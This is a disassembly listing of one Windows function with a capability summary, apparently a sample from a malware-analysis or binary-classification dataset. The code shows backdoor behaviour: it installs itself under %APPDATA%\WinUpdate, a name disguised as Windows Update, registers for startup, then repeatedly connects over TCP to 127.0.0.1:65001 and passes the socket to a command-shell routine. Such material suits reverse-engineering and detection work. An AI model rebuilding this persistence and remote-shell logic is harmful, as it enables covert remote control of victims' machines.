Function at 0x14000278c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Query environment variable
Set socket configuration

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x408
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, str.SystemRoot
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x378], rax
lea rax, [rbp + 0x1df]
mov qword [rbp + 0x360], rax
nop
nop
lea rcx, [rbp + 0x1df]
mov rdx, qword [rbp + 0x378]
lea rax, [rbp + 0x1b0]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
lea r8, str.System32
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1df]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
mov ecx, 0x8003
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x370], rax
lea rax, [rbp + 0x20f]
mov qword [rbp + 0x358], rax
nop
nop
lea rcx, [rbp + 0x20f]
mov rdx, qword [rbp + 0x370]
lea rax, [rbp + 0x1e0]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x1e0]
lea r8, str.WinUpdate
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20f]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
lea rax, [rbp + 0x230]
mov rcx, rax
call sym.std::filesystem::current_path_abi:cxx11___
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::string() const
lea rax, [rbp + 0x210]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rcx, rax
lea rax, [0x140009139]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x230]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::~path()
mov ebx, 0
mov esi, 0
lea rdx, [rbp + 0x170]
lea rax, [rbp + 0x260]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
mov ebx, 1
lea rax, [rbp + 0x260]
mov rcx, rax
call dbg.std::filesystem::exists(std::filesystem::__cxx11::path const&)
xor eax, 1
test al, al
je 0x1400029a7
lea rdx, [rbp + 0x170]
lea rax, [rbp + 0x290]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
mov esi, 1
lea rax, [rbp + 0x290]
mov rcx, rax
call dbg.std::filesystem::is_directory(std::filesystem::__cxx11::path const&)
xor eax, 1
test al, al
je 0x1400029a7
mov edi, 1
jmp 0x1400029ac
mov edi, 0
test sil, sil
je 0x1400029c0
lea rax, [rbp + 0x290]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::~path()
test bl, bl
je 0x1400029d3
lea rax, [rbp + 0x260]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::~path()
test dil, dil
je 0x1400029fe
mov rax, qword [sym.__p___argv]
call rax
mov rax, qword [rax]
mov rax, qword [rax]
mov rcx, rax
call dbg.install(char const*)
call dbg.addToStartup()
mov ebx, 0
jmp 0x140002ca6
mov ebx, 0
mov esi, 0
mov edi, 0
mov r12d, 0
lea rax, [rbp + 0x2e0]
mov rcx, rax
call sym.std::filesystem::current_path_abi:cxx11___
mov ebx, 1
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::string() const
mov esi, 1
lea rdx, [rbp + 0x170]
lea rax, [rbp + 0x2c0]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x140002aae
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::filesystem::current_path_abi:cxx11___
mov edi, 1
lea rax, [rbp + 0x310]
lea rdx, [rbp + 0x330]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::string() const
mov r12d, 1
lea rdx, [rbp + 0x190]
lea rax, [rbp + 0x310]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x140002aae
mov r13d, 1
jmp 0x140002ab4
mov r13d, 0
test r12b, r12b
je 0x140002ac8
lea rax, [rbp + 0x310]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test dil, dil
je 0x140002adc
lea rax, [rbp + 0x330]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::~path()
test sil, sil
je 0x140002af0
lea rax, [rbp + 0x2c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x140002b03
lea rax, [rbp + 0x2e0]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::~path()
test r13b, r13b
je 0x140002b12
mov ebx, 0
jmp 0x140002ca6
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x140002b65
lea rax, str.Erreur_lors_de_linitialisation_de_Winsock.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140009570]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x140002ca6
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x368], rax
cmp qword [rbp + 0x368], 0xffffffffffffffff
jne 0x140002bcd
lea rax, str.Erreur_lors_de_la_cration_du_socket_client.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140009570]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ebx, 1
jmp 0x140002ca6
mov dword [rbp + 0x16c], 0x493e0
lea rdx, [rbp + 0x16c]
mov rax, qword [rbp + 0x368]
mov dword [rsp + 0x20], 4
mov r9, rdx
mov r8d, 0x1006
mov edx, 0xffff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_setsockopt]
call rax
mov word [rbp + 0x150], 2
lea rax, str.127.0.0.1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x154], eax
mov ecx, 0xfde9
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x152], ax
lea rdx, [rbp + 0x150]
mov rax, qword [rbp + 0x368]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
setne al
test al, al
je 0x140002c77
mov rax, qword [rbp + 0x368]
mov rcx, rax
call dbg.cmd(unsigned long long)
mov rax, qword [rbp + 0x368]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140002b12
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140002e17
add rsp, 0x408
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret